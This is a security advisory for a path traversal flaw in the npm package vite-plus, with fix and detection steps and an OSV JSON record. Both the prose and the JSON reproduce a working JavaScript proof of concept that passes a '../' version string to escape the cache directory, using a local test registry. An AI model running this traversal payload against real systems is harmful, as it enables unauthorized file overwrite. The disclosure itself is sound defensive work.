CVE-2026-41211: Vite plus Path Traversal Vulnerability

HIGH
Advisory Identifier: GHSA-33r3-4whc-44c2
CVSS 10.0
CWE-22
Published
Advisory Summary

CVE-2026-41211 is a HIGH (CVSS 10.0) path traversal vulnerability (CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')) affecting Vite plus libraries in the npm ecosystem. The issue involves path traversal in vite-plus/binding downloadpackagemanager() writes outside vp_home. Remediation is available by upgrading affected packages to version 0.1.17.

CVE-2026-41211 at a Glance

CVE Identifier CVE-2026-41211
GHSA Identifier GHSA-33r3-4whc-44c2
Severity HIGH
CVSS v3.1 Base Score 10.0
CWE Classification CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Affected Product Vite plus
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 10.0

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality None (C:N)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-41211

To remediate this vulnerability, upgrade all affected Vite plus dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

vite-plus fixed: 0.1.17
npm install vite-plus@0.1.17
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls vite-plus

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-41211, inspect your project dependencies using npm:

npm ls vite-plus

Analyze the terminal output to locate any version of Vite plus in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.1.17), your application is affected.

Note: The npm ls vite-plus command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), where the product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. In Vite plus, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary `downloadPackageManager()` in `vite-plus/binding` accepts an untrusted `version` string and uses it directly in filesystem paths. A caller can supply `../` segments to escape the `VP_HOME/package_manager/<pm>/` cache root and cause Vite+ to delete, replace, and populate directories outside the intended cache location. ### Details The public `vite-plus/binding` export `downloadPackageManager()` forwards `options.version` directly into the Rust package-manager download flow without validating that it is a normal semver version. That value is used as a path component when building the install location under `VP_HOME`. After the package is downloaded and extracted, Vite+: 1. computes the final target directory from the raw `version` string, 2. removes any pre-existing directory at that target, 3. renames the extracted package into that location, and 4. writes executable shim files there. Because the CLI validates versions via `semver::Version::parse()` before calling this code, the protection that exists for normal `vp create`, `vp migrate`, and `vp env` flows does not apply to direct callers of the binding. A programmatic caller of `vite-plus/binding` can pass traversal strings such as `../../../escaped` and break out of `VP_HOME`. ### PoC ```js import fs from "node:fs"; import http from "node:http"; import os from "node:os"; import path from "node:path"; import { downloadPackageManager } from "vite-plus/binding"; const tgz = Buffer.from( "H4sIAH/B1GkC/+3NsQqDMBjE8W/uU4hTXUwU0/dJg0irTYLR9zftUnCWQvH/W+645aJ1ox16dX94FX181e6Z5GA6u3XdJ7N9at223/7em8YYI4WWH1jTYud8L+fkgk9h6uspDNcyjGV1EQAAAAAAAAAAAAAAAADAH9gAb+vJ9QAoAAA=", "base64", ); const vpHome = fs.mkdtempSync(path.join(os.tmpdir(), "vp-home-")); const version = "../../../vite-plus-escape"; const escapedRoot = path.resolve(vpHome, "package_manager", "pnpm", version); const escapedInstallDir = path.join(escapedRoot, "pnpm"); process.env.VP_HOME = vpHome; const server = http.createServer((req, res) => { res.writeHead(200, { "content-type": "application/octet-stream" }); res.end(tgz); }); await new Promise((resolve) => server.listen(0, "127.0.0.1", resolve)); const { port } = server.address(); process.env.npm_config_registry = `http://127.0.0.1:${port}`; const result = await downloadPackageManager({ name: "pnpm", version, }); server.close(); console.log("VP_HOME =", vpHome); console.log("installDir =", result.installDir); console.log("escaped =", escapedInstallDir); console.log("shim exists =", fs.existsSync(path.join(escapedInstallDir, "bin", "pnpm"))); // installDir is outside VP_HOME, and <escaped>/pnpm/bin/pnpm is created ``` ### Impact A caller that can influence `downloadPackageManager()` input can escape the Vite+ cache directory and make the process overwrite attacker-chosen directories outside `VP_HOME`. When combined with the supported custom-registry override (`npm_config_registry`), this becomes attacker-controlled file write outside the intended install root. ### Mitigating factors - **Normal CLI usage is not affected.** All built-in CLI paths (`vp create`, `vp migrate`, `vp env`) validate the version string via `semver::Version::parse()` before it reaches `downloadPackageManager()`. - The vulnerability is only reachable by programmatic callers that import `vite-plus/binding` directly and pass an untrusted version string. - No known downstream consumers pass untrusted input to this function. - Exploitation requires the attacker to already be executing code in the same Node.js process.

CVE-2026-41211 Affected Vite plus Versions

1 component(s)
Fixed Versions:
0.1.17
Product / Package Ecosystem Affected Versions Fixed Version
vite-plus
npm
< 0.1.17
0.1.17

References

Frequently Asked Questions

What is CVE-2026-41211?
CVE-2026-41211 is a security vulnerability in Vite plus involving Path traversal in vite-plus/binding downloadPackageManager() writes outside VP_HOME under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal').
Which Vite plus versions are affected?
Affected versions include releases prior to 0.1.17 across affected packages: vite-plus.
What version fixes CVE-2026-41211?
Upgrading to 0.1.17 (or the latest patched release for your respective branch) resolves the vulnerability.
Is vite-plus affected?
Yes, vite-plus is affected in releases prior to 0.1.17. Upgrade your dependency to 0.1.17 or later.
What is the CVSS score of CVE-2026-41211?
CVE-2026-41211 has a CVSS v3.1 base score of 10.0 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:H.
What CWE is associated with CVE-2026-41211?
CVE-2026-41211 is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.).
How can I check npm dependencies for CVE-2026-41211?
Run the dependency tree command: 'npm ls vite-plus'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-33r3-4whc-44c2",
  "modified" : "2026-05-06T13:57:45Z",
  "published" : "2026-04-16T01:02:48Z",
  "aliases" : [ "CVE-2026-41211" ],
  "summary" : " Path traversal in vite-plus/binding downloadPackageManager() writes outside VP_HOME",
  "details" : "### Summary\n\n`downloadPackageManager()` in `vite-plus/binding` accepts an untrusted `version` string and uses it directly in filesystem paths. A caller can supply `../` segments to escape the `VP_HOME/package_manager/<pm>/` cache root and cause Vite+ to delete, replace, and populate directories outside the intended cache location.\n\n### Details\n\nThe public `vite-plus/binding` export `downloadPackageManager()` forwards `options.version` directly into the Rust package-manager download flow without validating that it is a normal semver version.\n\nThat value is used as a path component when building the install location under `VP_HOME`. After the package is downloaded and extracted, Vite+:\n\n1. computes the final target directory from the raw `version` string,\n2. removes any pre-existing directory at that target,\n3. renames the extracted package into that location, and\n4. writes executable shim files there.\n\nBecause the CLI validates versions via `semver::Version::parse()` before calling this code, the protection that exists for normal `vp create`, `vp migrate`, and `vp env` flows does not apply to direct callers of the binding. A programmatic caller of `vite-plus/binding` can pass traversal strings such as `../../../escaped` and break out of `VP_HOME`.\n\n### PoC\n\n```js\nimport fs from \"node:fs\";\nimport http from \"node:http\";\nimport os from \"node:os\";\nimport path from \"node:path\";\nimport { downloadPackageManager } from \"vite-plus/binding\";\n\nconst tgz = Buffer.from(\n  \"H4sIAH/B1GkC/+3NsQqDMBjE8W/uU4hTXUwU0/dJg0irTYLR9zftUnCWQvH/W+645aJ1ox16dX94FX181e6Z5GA6u3XdJ7N9at223/7em8YYI4WWH1jTYud8L+fkgk9h6uspDNcyjGV1EQAAAAAAAAAAAAAAAADAH9gAb+vJ9QAoAAA=\",\n  \"base64\",\n);\n\nconst vpHome = fs.mkdtempSync(path.join(os.tmpdir(), \"vp-home-\"));\nconst version = \"../../../vite-plus-escape\";\nconst escapedRoot = path.resolve(vpHome, \"package_manager\", \"pnpm\", version);\nconst escapedInstallDir = path.join(escapedRoot, \"pnpm\");\n\nprocess.env.VP_HOME = vpHome;\n\nconst server = http.createServer((req, res) => {\n  res.writeHead(200, { \"content-type\": \"application/octet-stream\" });\n  res.end(tgz);\n});\n\nawait new Promise((resolve) => server.listen(0, \"127.0.0.1\", resolve));\nconst { port } = server.address();\nprocess.env.npm_config_registry = `http://127.0.0.1:${port}`;\n\nconst result = await downloadPackageManager({\n  name: \"pnpm\",\n  version,\n});\n\nserver.close();\n\nconsole.log(\"VP_HOME =\", vpHome);\nconsole.log(\"installDir =\", result.installDir);\nconsole.log(\"escaped =\", escapedInstallDir);\nconsole.log(\"shim exists =\", fs.existsSync(path.join(escapedInstallDir, \"bin\", \"pnpm\")));\n\n// installDir is outside VP_HOME, and <escaped>/pnpm/bin/pnpm is created\n```\n\n### Impact\n\nA caller that can influence `downloadPackageManager()` input can escape the Vite+ cache directory and make the process overwrite attacker-chosen directories outside `VP_HOME`. When combined with the supported custom-registry override (`npm_config_registry`), this becomes attacker-controlled file write outside the intended install root.\n\n### Mitigating factors\n\n- **Normal CLI usage is not affected.** All built-in CLI paths (`vp create`, `vp migrate`, `vp env`) validate the version string via `semver::Version::parse()` before it reaches `downloadPackageManager()`.\n- The vulnerability is only reachable by programmatic callers that import `vite-plus/binding` directly and pass an untrusted version string.\n- No known downstream consumers pass untrusted input to this function.\n- Exploitation requires the attacker to already be executing code in the same Node.js process.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:H"
  }, {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:H/SA:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "vite-plus"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.1.17"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.1.16"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/voidzero-dev/vite-plus/security/advisories/GHSA-33r3-4whc-44c2"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-41211"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/voidzero-dev/vite-plus"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-16T01:02:48Z",
    "nvd_published_at" : "2026-04-23T02:16:18Z"
  }
}